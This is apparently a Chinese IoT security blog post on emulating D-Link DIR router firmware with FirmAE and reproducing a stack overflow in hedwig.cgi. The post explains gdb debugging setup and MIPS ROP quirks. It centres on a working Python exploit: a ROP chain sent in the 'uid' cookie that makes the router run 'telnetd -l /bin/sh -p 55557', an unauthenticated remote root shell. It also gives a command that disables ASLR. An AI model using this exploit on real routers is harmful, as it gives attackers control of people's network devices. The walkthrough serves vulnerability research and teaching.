前言 也是学上IoT了。
https://www.cnblogs.com/hetianlab/p/18097167
https://bbs.kanxue.com/thread-272318.htm
https://xz.aliyun.com/news/15948
模拟仿真 使用FirmAE进行仿真,基本是傻瓜式操作
安装FirmAE
https://github.com/pr0v3rbs/FirmAE
安装过程不再赘述
之后
./download.sh ./install.sh ./init.sh
运行
sudo ./run.sh -d dlink ../../dir/dir.bin
要注意得在frimAE文件夹下使用
其他使用
-c check
sudo ./run.sh -c <brand> <firmware>
-r run
sudo ./run.sh -r <brand> <firmware>
成功的界面 成功需要等半分钟左右,可以在提示中看到192.168.0.1开启了服务
[*] ../../dir/dir.bin emulation start!!! [*] extract done !!! [*] get architecture done !!! [*] ../../dir/dir.bin already succeed emulation!!! [IID] 1 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Web service on 192.168.0.1 [+] Run debug! Creating TAP device tap1_0... Set 'tap1_0' persistent and owned by uid 0 Bringing up TAP device... Starting emulation of firmware... 192.168.0.1 true true 15.460978138 41.794008081 [*] firmware - dir [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [+] netcat connected ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit >
我们可以访问192.168.0.1测试,假如出来的是正常的路由器登录界面,说明仿真确实成功了。
------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit >
这个界面是debugger姐妹,我们主要使用2和4命令。
2命令进入shell,然后查看进程。
> 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]' . / 2484 root 1564 S httpd -f /var/run/httpd.conf 4541 root 656 S grep httpd
exit退出shell
之后4命令,输入2484
[+] target pid : 2484 [+] gdbserver at 192.168.0.1:1337 attach on 2484 [+] run "target remote 192.168.0.1:1337" in host gdb-multiarch ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit >
可以看到已经成功开启gdbserver了
之后可以gdb调试
set architecture mipsset follow-fork-mode childset detach-on-fork offb _start catch exec target remote 192.168.0.1:1337
保存为gdb_script然后
gdb-multiarch -x gdb_script
接下来就可以愉快调试了。
要注意本次漏洞复现的真机环境中是没有堆栈地址随机化的,因此需要在shell关闭
echo "0" >> /proc/sys/kernel/randomize_va_space
exp import http.clientfrom pwncli import *conn = http.client.HTTPConnection("192.168.0.1" ) libc_base=0x77f34000 system=0x00053200 +libc_base ''' .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x14C-0x13C .text:000159D0 21 28 60 02 move $a1, $s3 .text:000159D4 21 30 20 02 move $a2, $s1 .text:000159D8 21 C8 00 02 move $t9, $s0 .text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy .text:000159E0 21 20 A0 02 move $a0, $s5 ''' offset=1043 -0x24 gadget1=0x000158c8 +libc_base gadget2=0x000159cc +libc_base ra=gadget1 s5=gadget2 s0=system-1 payload=b'a' *offset+p32(s0)+p32(0x61616161 )*4 +p32(s5)+p32(0x61616161 )*3 +p32(ra) payload=payload payload+=b'a' *0x10 payload+=b'telnetd -l /bin/sh -p 55557 & ls & ' payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xffq\xf8waaaaaaaaaaaaaaaa\xcc\x99\xf4waaaaaaaaaaaa\xc8\x98\xf4waaaaaaaaaaaaaaaatelnetd -l /bin/sh -p 55557' headers = { 'Content-Length' : '21' , 'accept-Encoding' : 'deflate' , 'Connection' : 'close' , 'User-Agent' : 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)' , 'Host' : '192.168.0.1' , 'Cookie' :'uid=' +payload, 'Content-Type' : 'application/x-www-form-urlencoded' } conn.request("POST" , "/hedwig.cgi" , body="password=123&bid=3Rd4" , headers=headers) response = conn.getresponse() print (response.status, response.read().decode())conn.close()
流水线指令集相关特性 首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr)导致的分支延迟效应 ,任何一个分支跳转语句后面的那条语句叫做分支延迟槽 ,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转 。
再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数 ,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。
举例流水线效应:
move $a3, $v0 jalr $t9 ; sprintf move $a0, $s0
可以认为顺序是 1 -> 3->2语句
rop mips没有 ret 这种指令,因而其实构造rop变麻烦了很多。
看到main函数返回时的汇编代码
.text:00409A24 10 00 BC 8F lw $gp, 0x4C0+var_4B0($sp) .text:00409A24 .text:00409A28 .text:00409A28 loc_409A28: # CODE XREF: hedwigcgi_main:loc_409A0C↑j .text:00409A28 E4 04 BF 8F lw $ra, 0x4C0+var_s24($sp) .text:00409A2C 21 10 E0 02 move $v0, $s7 .text:00409A30 E0 04 BE 8F lw $fp, 0x4C0+var_s20($sp) .text:00409A34 DC 04 B7 8F lw $s7, 0x4C0+var_s1C($sp) .text:00409A38 D8 04 B6 8F lw $s6, 0x4C0+var_s18($sp) .text:00409A3C D4 04 B5 8F lw $s5, 0x4C0+var_s14($sp) .text:00409A40 D0 04 B4 8F lw $s4, 0x4C0+var_s10($sp) .text:00409A44 CC 04 B3 8F lw $s3, 0x4C0+var_sC($sp) .text:00409A48 C8 04 B2 8F lw $s2, 0x4C0+var_s8($sp) .text:00409A4C C4 04 B1 8F lw $s1, 0x4C0+var_s4($sp) .text:00409A50 C0 04 B0 8F lw $s0, 0x4C0+var_s0($sp) .text:00409A54 08 00 E0 03 jr $ra .text:00409A58 E8 04 BD 27 addiu $sp, 0x4E8
假如能够栈溢出,我们可以控制s0-s7以及ra这几个寄存器。
之后需要找gadget片段来通过这几个寄存器再控制程序控制流。
本次复现使用的就是先gadget1->gadget2->system(”telnetd -l /bin/sh -p 55557“)
由于sprintf会截断\x00,而system地址中有\x00,因此我们可以利用gadget1来复原system地址。
gadget2则是把栈上的地址给到a0,然后把控制流交给system。
中间可以把几个gadget的地址给到几个保存寄存器,然后利用gadget把保存寄存器再转移到t9执行。